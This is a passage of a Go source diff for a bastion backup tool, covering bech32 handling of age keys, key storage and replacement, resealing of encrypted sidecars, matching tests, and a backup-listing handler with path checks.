poly := bech32Polymod(append(append(bech32HRPExpand(hrp), values...), 0, 0, 0, 0, 0, 0)) ^ 1
|
||||
var sb strings.Builder
|
||||
sb.WriteString(hrp)
|
||||
sb.WriteByte('1')
|
||||
for _, v := range values {
|
||||
sb.WriteByte(bech32Charset[v])
|
||||
}
|
||||
for i := 0; i < 6; i++ {
|
||||
sb.WriteByte(bech32Charset[(poly>>uint(5*(5-i)))&31])
|
||||
}
|
||||
return sb.String(), nil
|
||||
}
|
||||
|
||||
// bech32Decode returns (hrp, data) of a bech32 string in one case.
|
||||
func bech32Decode(s string) (string, []byte, error) {
|
||||
if strings.ToLower(s) != s && strings.ToUpper(s) != s {
|
||||
return "", nil, errors.New("bech32: mixed case")
|
||||
}
|
||||
s = strings.ToLower(s)
|
||||
pos := strings.LastIndexByte(s, '1')
|
||||
if pos < 1 || pos+7 > len(s) {
|
||||
return "", nil, errors.New("bech32: no separator or too short")
|
||||
}
|
||||
hrp := s[:pos]
|
||||
var values []byte
|
||||
for i := pos + 1; i < len(s); i++ {
|
||||
d := strings.IndexByte(bech32Charset, s[i])
|
||||
if d < 0 {
|
||||
return "", nil, errors.New("bech32: invalid character")
|
||||
}
|
||||
values = append(values, byte(d))
|
||||
}
|
||||
if bech32Polymod(append(bech32HRPExpand(hrp), values...)) != 1 {
|
||||
return "", nil, errors.New("bech32: bad checksum")
|
||||
}
|
||||
data, err := convertBits(values[:len(values)-6], 5, 8, false)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
return hrp, data, nil
|
||||
}
|
||||
|
||||
// recipientRaw is the raw 32-byte X25519 public key inside an age1 recipient.
|
||||
func recipientRaw(r *age.X25519Recipient) ([]byte, error) {
|
||||
hrp, data, err := bech32Decode(r.String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if hrp != "age" || len(data) != 32 {
|
||||
return nil, errors.New("not an age X25519 recipient")
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// backupKeyFingerprint is sha256(raw public key), first 16 hex characters —
|
||||
// the same string the host shows beside the key it holds, so a person can
|
||||
// check the two are the same key.
|
||||
func backupKeyFingerprint(raw []byte) string {
|
||||
sum := sha256.Sum256(raw)
|
||||
return hex.EncodeToString(sum[:])[:16]
|
||||
}
|
||||
|
||||
// parseBackupRecipient accepts what a host or a person hands over as "the key
|
||||
// to seal to": an age1 recipient, or the raw 32-byte public key in base64 (the
|
||||
// form the host's backup settings take).
|
||||
func parseBackupRecipient(s string) (*age.X25519Recipient, error) {
|
||||
s = strings.TrimSpace(s)
|
||||
if strings.HasPrefix(strings.ToLower(s), "age1") {
|
||||
r, err := age.ParseX25519Recipient(strings.ToLower(s))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("that is not a valid age recipient: %w", err)
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(s)
|
||||
if err != nil || len(raw) != 32 {
|
||||
return nil, errors.New("the key to seal to must be an age1 recipient or a 32-byte public key in base64")
|
||||
}
|
||||
enc, err := bech32Encode("age", raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return age.ParseX25519Recipient(enc)
|
||||
}
|
||||
|
||||
// ── the key store on this machine ───────────────────────────────────────────
|
||||
//
|
||||
// Each key is a standard age identity file (<fingerprint>.txt, the format
|
||||
// age-keygen writes), 0600 in this bastion's state directory. `active` names the one key this bastion shows and registers. A replaced key
|
||||
// stays beside it: backups sealed to it still need it.
|
||||
|
||||
type backupKeyFile struct {
|
||||
Identity string `json:"-"` // AGE-SECRET-KEY-1..., never printed
|
||||
Recipient string `json:"recipient"`
|
||||
PubB64 string `json:"pubkey_b64"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// backupKeysDir is overridable only so tests do not write into the real
|
||||
// state directory of whoever runs them.
|
||||
var backupKeysDir = func() (string, error) {
|
||||
d, err := configDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
p := filepath.Join(d, "backup-keys")
|
||||
return p, os.MkdirAll(p, 0o700)
|
||||
}
|
||||
|
||||
var backupKeyFileRe = regexp.MustCompile(`^[0-9a-f]{16}\.txt$`)
|
||||
|
||||
func backupKeyFromIdentityFile(path string) (*backupKeyFile, error) {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
k := &backupKeyFile{Path: path}
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "# created: "):
|
||||
k.CreatedAt = strings.TrimPrefix(line, "# created: ")
|
||||
case strings.HasPrefix(line, "AGE-SECRET-KEY-1"):
|
||||
k.Identity = line
|
||||
}
|
||||
}
|
||||
id, err := age.ParseX25519Identity(k.Identity)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("backup key file %s holds no usable key", filepath.Base(path))
|
||||
}
|
||||
pub, err := recipientRaw(id.Recipient())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
k.Recipient = id.Recipient().String()
|
||||
k.PubB64 = base64.StdEncoding.EncodeToString(pub)
|
||||
k.Fingerprint = backupKeyFingerprint(pub)
|
||||
return k, nil
|
||||
}
|
||||
|
||||
func backupKeysLoad() (active *backupKeyFile, all []*backupKeyFile, err error) {
|
||||
dir, err := backupKeysDir()
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
activeFP := ""
|
||||
if raw, err := os.ReadFile(filepath.Join(dir, "active")); err == nil {
|
||||
activeFP = strings.TrimSpace(string(raw))
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !backupKeyFileRe.MatchString(e.Name()) || !e.Type().IsRegular() {
|
||||
continue
|
||||
}
|
||||
k, err := backupKeyFromIdentityFile(filepath.Join(dir, e.Name()))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
all = append(all, k)
|
||||
if k.Fingerprint == activeFP {
|
||||
active = k
|
||||
}
|
||||
}
|
||||
sort.Slice(all, func(i, j int) bool { return all[i].CreatedAt > all[j].CreatedAt })
|
||||
return active, all, nil
|
||||
}
|
||||
|
||||
// backupKeyInit makes this bastion's backup key. An existing key is never
|
||||
// overwritten: backups already sealed to it would become unopenable. With
|
||||
// replace, a new key becomes the active one and the old one stays in the
|
||||
// folder, still opening the backups made with it.
|
||||
func backupKeyInit(replace bool) (*backupKeyFile, error) {
|
||||
active, _, err := backupKeysLoad()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if active != nil && !replace {
|
||||
return nil, fmt.Errorf("this bastion already holds a backup key (fingerprint %s). Replacing it "+
|
||||
"means backups made from now on need the new key; the old key is kept so older "+
|
||||
"backups still open. Run again with --replace if that is what you want", active.Fingerprint)
|
||||
}
|
||||
id, err := age.GenerateX25519Identity()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := recipientRaw(id.Recipient())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dir, err := backupKeysDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fp := backupKeyFingerprint(raw)
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
body := "# created: " + now + "\n# public key: " + id.Recipient().String() + "\n" + id.String() + "\n"
|
||||
path := filepath.Join(dir, fp+".txt")
|
||||
if err := atomicWrite(path, []byte(body)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := atomicWrite(filepath.Join(dir, "active"), []byte(fp+"\n")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &backupKeyFile{Identity: id.String(), Recipient: id.Recipient().String(),
|
||||
PubB64: base64.StdEncoding.EncodeToString(raw), Fingerprint: fp, CreatedAt: now, Path: path}, nil
|
||||
}
|
||||
|
||||
// backupIdentities is every backup key this machine holds, newest first: a
|
||||
// backup made before a replacement is still opened by the key it was sealed to.
|
||||
func backupIdentities() ([]age.Identity, error) {
|
||||
_, all, err := backupKeysLoad()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ids []age.Identity
|
||||
for _, k := range all {
|
||||
id, err := age.ParseX25519Identity(k.Identity)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("backup key %s does not parse: %w", k.Fingerprint, err)
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
if len(ids) == 0 {
|
||||
return nil, errors.New("this machine holds no backup key — make one with `privatae-bastion backup key init`")
|
||||
}
|
||||
return ids, nil
|
||||
}
|
||||
|
||||
// identitiesFromFile reads an age identity file the person names.
|
||||
func identitiesFromFile(path string) ([]age.Identity, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
ids, err := age.ParseIdentities(f)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s holds no usable age identity: %w", path, err)
|
||||
}
|
||||
return ids, nil
|
||||
}
|
||||
|
||||
// ── the sidecar ─────────────────────────────────────────────────────────────
|
||||
|
||||
type backupSidecar struct {
|
||||
V int `json:"v"`
|
||||
Kind string `json:"kind"`
|
||||
Identity string `json:"identity"`
|
||||
Object string `json:"object"`
|
||||
EntityID int64 `json:"entity_id"`
|
||||
Stamp string `json:"stamp"`
|
||||
MadeAt string `json:"made_at"`
|
||||
}
|
||||
|
||||
// openSidecar decrypts an armored sidecar and checks it is one of ours and
|
||||
// names the backup it claims to. Returns the plaintext exactly as sealed, so
|
||||
// a reseal hands on the same bytes and not a re-encoding of them.
|
||||
func openSidecar(armored []byte, ids []age.Identity, wantStamp string) ([]byte, *backupSidecar, error) {
|
||||
if len(armored) > sidecarMaxBytes {
|
||||
return nil, nil, errors.New("the sidecar is larger than a sidecar can be")
|
||||
}
|
||||
r, err := age.Decrypt(armor.NewReader(bytes.NewReader(armored)), ids...)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("the sidecar does not open with the keys given: %w", err)
|
||||
}
|
||||
plain, err := io.ReadAll(io.LimitReader(r, sidecarMaxBytes+1))
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("the sidecar is damaged: %w", err)
|
||||
}
|
||||
if len(plain) > sidecarMaxBytes {
|
||||
return nil, nil, errors.New("the sidecar holds more than a sidecar can")
|
||||
}
|
||||
var sc backupSidecar
|
||||
if err := json.Unmarshal(plain, &sc); err != nil {
|
||||
return nil, nil, errors.New("the sidecar does not hold a backup key record")
|
||||
}
|
||||
if sc.V != 1 || sc.Kind != sidecarKind {
|
||||
return nil, nil, fmt.Errorf("the sidecar is not a backup key record (v=%d kind=%q)", sc.V, sc.Kind)
|
||||
}
|
||||
if !backupStampRe.MatchString(sc.Stamp) {
|
||||
return nil, nil, fmt.Errorf("the sidecar names no valid backup (stamp %q)", sc.Stamp)
|
||||
}
|
||||
if !sidecarObjectOK(sc.Object, sc.Stamp) {
|
||||
return nil, nil, fmt.Errorf("the sidecar's object %q does not match its stamp %s", sc.Object, sc.Stamp)
|
||||
}
|
||||
if wantStamp != "" && sc.Stamp != wantStamp {
|
||||
return nil, nil, fmt.Errorf("the sidecar is for the backup of %s, not %s", sc.Stamp, wantStamp)
|
||||
}
|
||||
if _, err := time.Parse(time.RFC3339, sc.MadeAt); err != nil {
|
||||
return nil, nil, fmt.Errorf("the sidecar's made_at %q is not a time", sc.MadeAt)
|
||||
}
|
||||
if _, err := age.ParseX25519Identity(sc.Identity); err != nil {
|
||||
return nil, nil, errors.New("the sidecar's backup key does not parse")
|
||||
}
|
||||
return plain, &sc, nil
|
||||
}
|
||||
|
||||
// sidecarObjectOK: the object a sidecar names is the backup of its own stamp,
|
||||
// in one of the two places the platform keeps one: b/ (a backup kept in
|
||||
// platform storage) or s/ (a copy staged there only until a second copy
|
||||
// exists, which is how a backup kept only on the person's bastion is
|
||||
// written). Nothing else: no other folder, no deeper path, no other stamp.
|
||||
func sidecarObjectOK(object, stamp string) bool {
|
||||
name := stamp + ".tar.zst.age"
|
||||
return object == "b/"+name || object == "s/"+name
|
||||
}
|
||||
|
||||
// resealSidecar opens a sidecar with this machine's keys and seals the same
|
||||
// record to exactly one recipient: the host that is restoring. Armored, so it
|
||||
// travels as text.
|
||||
func resealSidecar(armored []byte, ids []age.Identity, to *age.X25519Recipient, wantStamp string) ([]byte, *backupSidecar, error) {
|
||||
plain, sc, err := openSidecar(armored, ids, wantStamp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
out, err := sealSidecarTo(plain, to)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return out, sc, nil
|
||||
}
|
||||
|
||||
// sealSidecarTo seals an opened sidecar's record, byte for byte, to exactly
|
||||
// one recipient, armored.
|
||||
func sealSidecarTo(plain []byte, to *age.X25519Recipient) ([]byte, error) {
|
||||
var out bytes.Buffer
|
||||
aw := armor.NewWriter(&out)
|
||||
w, err := age.Encrypt(aw, to)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := w.Write(plain); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := aw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out.Bytes(), nil
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
package main
|
||||
|
||||
// Gate: the backup key is made here, kept as a plain age key file, never
|
||||
// overwritten, and every string that names a key round-trips through age's own
|
||||
// parser. The bech32 here is an encoding of public keys only; these tests hold
|
||||
// it to age's.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"filippo.io/age"
|
||||
)
|
||||
|
||||
// ageBinary is the real age command for the cross-language checks. AGE_BIN
|
||||
// names one explicitly; otherwise `age` on PATH; otherwise the test skips.
|
||||
func ageBinary(t *testing.T) string {
|
||||
t.Helper()
|
||||
if p := os.Getenv("AGE_BIN"); p != "" {
|
||||
return p
|
||||
}
|
||||
if p, err := exec.LookPath("age"); err == nil {
|
||||
return p
|
||||
}
|
||||
// CI installs a pinned age release and sets this, so the cross-language
|
||||
// checks cannot pass there by skipping.
|
||||
if os.Getenv("PRIVATAE_REQUIRE_AGE") != "" {
|
||||
t.Fatal("PRIVATAE_REQUIRE_AGE is set and no age binary was found (AGE_BIN or PATH)")
|
||||
}
|
||||
t.Skip("no age binary (set AGE_BIN) — the cross-language half is skipped")
|
||||
return ""
|
||||
}
|
||||
|
||||
func withBackupKeysDir(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
prev := backupKeysDir
|
||||
backupKeysDir = func() (string, error) { return dir, nil }
|
||||
t.Cleanup(func() { backupKeysDir = prev })
|
||||
return dir
|
||||
}
|
||||
|
||||
func TestBech32RoundTripsAgeRecipients(t *testing.T) {
|
||||
for i := 0; i < 64; i++ {
|
||||
id, err := age.GenerateX25519Identity()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, err := recipientRaw(id.Recipient())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(raw) != 32 {
|
||||
t.Fatalf("raw key is %d bytes", len(raw))
|
||||
}
|
||||
enc, err := bech32Encode("age", raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if enc != id.Recipient().String() {
|
||||
t.Fatalf("bech32 of the raw key %s differs from age's %s", enc, id.Recipient())
|
||||
}
|
||||
}
|
||||
// A random 32 bytes encodes to something age itself accepts.
|
||||
raw := make([]byte, 32)
|
||||
_, _ = rand.Read(raw)
|
||||
enc, _ := bech32Encode("age", raw)
|
||||
if _, err := age.ParseX25519Recipient(enc); err != nil {
|
||||
t.Fatalf("age refuses our encoding: %v", err)
|
||||
}
|
||||
// One changed character is caught by the checksum.
|
||||
bad := enc[:10] + string("qp"[boolIdx(enc[10] == 'q')]) + enc[11:]
|
||||
if _, _, err := bech32Decode(bad); err == nil {
|
||||
t.Fatal("a corrupted recipient decoded")
|
||||
}
|
||||
}
|
||||
|
||||
func boolIdx(b bool) int {
|
||||
if b {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func TestParseBackupRecipientAcceptsBothForms(t *testing.T) {
|
||||
id, _ := age.GenerateX25519Identity()
|
||||
raw, _ := recipientRaw(id.Recipient())
|
||||
a, err := parseBackupRecipient(id.Recipient().String())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b, err := parseBackupRecipient(base64.StdEncoding.EncodeToString(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if a.String() != b.String() {
|
||||
t.Fatalf("the two forms of one key disagree: %s vs %s", a, b)
|
||||
}
|
||||
for _, bad := range []string{"", "age1nope", base64.StdEncoding.EncodeToString(raw[:31]), "not base64 !!"} {
|
||||
if _, err := parseBackupRecipient(bad); err == nil {
|
||||
t.Errorf("%q was accepted as a key", bad)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupKeyInitKeepsAPlainAgeKeyAndNeverOverwrites(t *testing.T) {
|
||||
dir := withBackupKeysDir(t)
|
||||
k1, err := backupKeyInit(false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fi, err := os.Stat(k1.Path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if fi.Mode().Perm() != 0o600 {
|
||||
t.Fatalf("key file mode %v, want 0600", fi.Mode().Perm())
|
||||
}
|
||||
// It is a plain age identity file: age's own parser reads it.
|
||||
f, _ := os.Open(k1.Path)
|
||||
ids, err := age.ParseIdentities(f)
|
||||
f.Close()
|
||||
if err != nil || len(ids) != 1 {
|
||||
t.Fatalf("the key file is not an age identity file: %v", err)
|
||||
}
|
||||
raw, _ := base64.StdEncoding.DecodeString(k1.PubB64)
|
||||
if backupKeyFingerprint(raw) != k1.Fingerprint || filepath.Base(k1.Path) != k1.Fingerprint+".txt" {
|
||||
t.Fatal("the fingerprint does not name the key")
|
||||
}
|
||||
|
||||
if _, err := backupKeyInit(false); err == nil {
|
||||
t.Fatal("a second init without --replace overwrote the key")
|
||||
}
|
||||
k2, err := backupKeyInit(true)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if k2.Fingerprint == k1.Fingerprint {
|
||||
t.Fatal("--replace did not make a new key")
|
||||
}
|
||||
active, all, err := backupKeysLoad()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if active == nil || active.Fingerprint != k2.Fingerprint {
|
||||
t.Fatal("the new key is not the active one")
|
||||
}
|
||||
if len(all) != 2 {
|
||||
t.Fatalf("the replaced key was not kept: %d keys", len(all))
|
||||
}
|
||||
// Both still open what was sealed to them.
|
||||
got, err := backupIdentities()
|
||||
if err != nil || len(got) != 2 {
|
||||
t.Fatalf("identities: %v %d", err, len(got))
|
||||
}
|
||||
for _, k := range []*backupKeyFile{k1, k2} {
|
||||
r, _ := age.ParseX25519Recipient(k.Recipient)
|
||||
var ct bytes.Buffer
|
||||
w, _ := age.Encrypt(&ct, r)
|
||||
_, _ = w.Write([]byte("sealed to " + k.Fingerprint))
|
||||
_ = w.Close()
|
||||
rd, err := age.Decrypt(&ct, got...)
|
||||
if err != nil {
|
||||
t.Fatalf("key %s no longer opens its backups: %v", k.Fingerprint, err)
|
||||
}
|
||||
b, _ := io.ReadAll(rd)
|
||||
if !strings.HasSuffix(string(b), k.Fingerprint) {
|
||||
t.Fatal("wrong plaintext")
|
||||
}
|
||||
}
|
||||
entries, _ := os.ReadDir(dir)
|
||||
for _, e := range entries {
|
||||
if strings.HasPrefix(e.Name(), ".ctx-") {
|
||||
t.Fatalf("a temporary file survived: %s", e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Cross-language: the key file this bastion keeps is read by the real age
|
||||
// command the same way filippo.io/age reads it here.
|
||||
func TestBackupKeyFileOpensWithTheAgeCommand(t *testing.T) {
|
||||
bin := ageBinary(t)
|
||||
withBackupKeysDir(t)
|
||||
k, err := backupKeyInit(false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
r, _ := age.ParseX25519Recipient(k.Recipient)
|
||||
ct := filepath.Join(t.TempDir(), "x.age")
|
||||
f, _ := os.Create(ct)
|
||||
w, _ := age.Encrypt(f, r)
|
||||
_, _ = w.Write([]byte("a backup"))
|
||||
_ = w.Close()
|
||||
_ = f.Close()
|
||||
out, err := exec.Command(bin, "-d", "-i", k.Path, ct).CombinedOutput()
|
||||
if err != nil || string(out) != "a backup" {
|
||||
t.Fatalf("age -d -i <key file> failed: %v %s", err, out)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,324 @@
|
||||
package main
|
||||
|
||||
// backuplist.go — backup_list: which backups this machine holds for a host,
|
||||
// and where a backup_push may send one from.
|
||||
//
|
||||
// The host asks {"op":"list"} and gets
|
||||
//
|
||||
// {"backups":[{"folder","stamp","data_bytes","has_data","has_sidecar",
|
||||
// "sidecar_bytes","data_sha256","sidecar_sha256"}, ...]}
|
||||
//
|
||||
// newest first. `folder` is "." for this pairing's own backup folder, and
|
||||
// "shared/<name>" for a folder the person shared with this host at this
|
||||
// machine (`privatae-bastion backup share`), which is how a host that replaces
|
||||
// a lost one finds the copies its predecessor kept here. Only the top of each
|
||||
// folder is listed, and only files named like a backup: <stamp>.tar.zst.age
|
||||
// and <stamp>.key.age. A backup_push names a file as folder + "/" + file.
|
||||
//
|
||||
// The digests are what backup_push must be given. Reading a multi-gigabyte
|
||||
// file to hash it does not fit in one dispatch, so a listing never hashes:
|
||||
// it answers from what this bastion already knows (the record of what it
|
||||
// fetched, and a cache keyed by path, size and modification time), gives ""
|
||||
// for anything not yet known, and starts one background job that hashes
|
||||
// those files. The host lists again until the digest appears. A file that
|
||||
// changes size or modification time is unknown again.
|
||||
//
|
||||
// A read: it creates no folder and changes nothing in any backup folder
|
||||
// (backupRootReady creates the host's own folder only for an op that writes).
|
||||
// What it does beyond reading: the background job reads files to learn their
|
||||
// digests, and this bastion notes in its own state where each folder last
|
||||
// resolved (opmask.go), as every op leaves its audit line.
|
||||
//
|
||||
// Every folder listed, the host's own and each shared one, is read with the
|
||||
// same bound as the rest of the backup lane (opProbe): a shared folder on a
|
||||
// network mount that stopped answering is left out of the reply and named in
|
||||
// "unavailable", and the listing answers at once with the rest. A shared
|
||||
// folder that now is, or holds, this bastion's own state (a link swapped in
|
||||
// after it was shared) is left out the same way.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// backupListMax bounds one reply; the newest backups are the ones a restore
|
||||
// wants, and the reply is one frame.
|
||||
const backupListMax = 2000
|
||||
|
||||
type backupListEntry struct {
|
||||
Folder string `json:"folder"`
|
||||
Stamp string `json:"stamp"`
|
||||
DataBytes int64 `json:"data_bytes"`
|
||||
HasData bool `json:"has_data"`
|
||||
HasSidecar bool `json:"has_sidecar"`
|
||||
SidecarBytes int64 `json:"sidecar_bytes"`
|
||||
DataSHA256 string `json:"data_sha256"`
|
||||
SidecarSHA256 string `json:"sidecar_sha256"`
|
||||
}
|
||||
|
||||
type backupFolder struct{ name, dir string }
|
||||
|
||||
// backupFolders is this pairing's own folder, then every folder shared with it.
|
||||
func backupFolders(self, root string) []backupFolder {
|
||||
out := []backupFolder{{".", root}}
|
||||
for _, s := range sharesFor(self) {
|
||||
out = append(out, backupFolder{"shared/" + s.Slug, s.Dir})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func handleBackupList(ws *websocket.Conn, root string, args []string) {
|
||||
var req struct {
|
||||
Op string `json:"op"`
|
||||
}
|
||||
if len(args) > 0 {
|
||||
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
|
||||
backupFail(ws, "backup_list: argument is not JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
if req.Op != "" && req.Op != "list" {
|
||||
backupFail(ws, "backup_list: unknown op "+req.Op)
|
||||
return
|
||||
}
|
||||
list, unavailable := listBackupsReport(mgmtSelf(ws), root)
|
||||
reply := map[string]any{"backups": list}
|
||||
if len(unavailable) > 0 {
|
||||
reply["unavailable"] = unavailable
|
||||
}
|
||||
backupOK(ws, reply)
|
||||
}
|
||||
|
||||
// backupUnavailable is a folder left out of a listing, and why.
|
||||
type backupUnavailable struct {
|
||||
Folder string `json:"folder"`
|
||||
Why string `json:"why"`
|
||||
}
|
||||
|
||||
// backupReadDirFn is os.ReadDir; a test replaces it with one that blocks.
|
||||
var backupReadDirFn = os.ReadDir
|
||||
|
||||
type backupDirFile struct {
|
||||
name string
|
||||
fi os.FileInfo
|
||||
}
|
||||
|
||||
// backupScanDir reads the backup-named regular files at the top of dir,
|
||||
// with their size and time, within the probe bound. A folder that does not
|
||||
// exist is empty.
|
||||
func backupScanDir(dir string) ([]backupDirFile, error) {
|
||||
var mu sync.Mutex
|
||||
var out []backupDirFile
|
||||
err := opProbe("list:"+dir, func() error {
|
||||
entries, err := backupReadDirFn(dir)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var got []backupDirFile
|
||||
for _, e := range entries {
|
||||
if !backupFileRe.MatchString(e.Name()) || !e.Type().IsRegular() {
|
||||
continue
|
||||
}
|
||||
fi, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
got = append(got, backupDirFile{e.Name(), fi})
|
||||
}
|
||||
mu.Lock()
|
||||
out = got
|
||||
mu.Unlock()
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// sharedFolderProblem is why a folder shared with a host is not used now:
|
||||
// it does not answer, or it resolves to or around this bastion's own state.
|
||||
// "" when it may be read. Bounded, like every backup folder.
|
||||
func sharedFolderProblem(dir string) string {
|
||||
r, ok, _ := backupFolderResolve(dir)
|
||||
if !ok {
|
||||
return "does not answer (a network mount that stopped?)"
|
||||
}
|
||||
if why := bastionStateOverlapResolved(dir, r); why != "" {
|
||||
return why
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func listBackups(self, root string) []backupListEntry {
|
||||
l, _ := listBackupsReport(self, root)
|
||||
return l
|
||||
}
|
||||
|
||||
func listBackupsReport(self, root string) ([]backupListEntry, []backupUnavailable) {
|
||||
var arrivals map[string]backupArrival
|
||||
backupStateMu.Lock()
|
||||
if a, err := arrivalsLoadLocked(root); err == nil {
|
||||
arrivals = a.Files
|
||||
}
|
||||
backupStateMu.Unlock()
|
||||
|
||||
var out []backupListEntry
|
||||
var unavailable []backupUnavailable
|
||||
for _, f := range backupFolders(self, root) {
|
||||
if f.name != "." {
|
||||
if why := sharedFolderProblem(f.dir); why != "" {
|
||||
unavailable = append(unavailable, backupUnavailable{f.name, why})
|
||||
continue
|
||||
}
|
||||
}
|
||||
files, err := backupScanDir(f.dir)
|
||||
if err != nil {
|
||||
why := err.Error()
|
||||
if errors.Is(err, errProbeBusy) || errors.Is(err, errProbeTimeout) {
|
||||
why = fmt.Sprintf("does not answer (a network mount that stopped?): %v", err)
|
||||
}
|
||||
unavailable = append(unavailable, backupUnavailable{f.name, why})
|
||||
continue
|
||||
}
|
||||
byStamp := map[string]*backupListEntry{}
|
||||
for _, e := range files {
|
||||
m := backupFileRe.FindStringSubmatch(e.name)
|
||||
fi := e.fi
|
||||
abs := filepath.Join(f.dir, e.name)
|
||||
sha := cachedHash(abs, fi)
|
||||
if sha == "" && f.name == "." {
|
||||
if a, ok := arrivals[e.name]; ok && stillTheArrival(fi, a) {
|
||||
sha = a.SHA256
|
||||
noteHash(abs, fi, sha)
|
||||
}
|
||||
}
|
||||
if sha == "" {
|
||||
requestHash(abs)
|
||||
}
|
||||
l := byStamp[m[1]]
|
||||
if l == nil {
|
||||
l = &backupListEntry{Folder: f.name, Stamp: m[1]}
|
||||
byStamp[m[1]] = l
|
||||
}
|
||||
if m[2] == "tar.zst.age" {
|
||||
l.HasData, l.DataBytes, l.DataSHA256 = true, fi.Size(), sha
|
||||
} else {
|
||||
l.HasSidecar, l.SidecarBytes, l.SidecarSHA256 = true, fi.Size(), sha
|
||||
}
|
||||
}
|
||||
for _, l := range byStamp {
|
||||
out = append(out, *l)
|
||||
}
|
||||
}
|
||||
sort.SliceStable(out, func(i, j int) bool {
|
||||
if out[i].Stamp != out[j].Stamp {
|
||||
return out[i].Stamp > out[j].Stamp
|
||||
}
|
||||
return out[i].Folder < out[j].Folder
|
||||
})
|
||||
if len(out) > backupListMax {
|
||||
out = out[:backupListMax]
|
||||
}
|
||||
if out == nil {
|
||||
out = []backupListEntry{}
|
||||
}
|
||||
return out, unavailable
|
||||
}
|
||||
|
||||
// backupResolveFile maps a path a host names ("./<file>", "<file>" or
|
||||
// "shared/<name>/<file>") to a backup file this pairing may send: named like a
|
||||
// backup, directly inside its own folder or a folder shared with it, reached
|
||||
// through no link that leaves that folder, and not itself a link. The refusal
|
||||
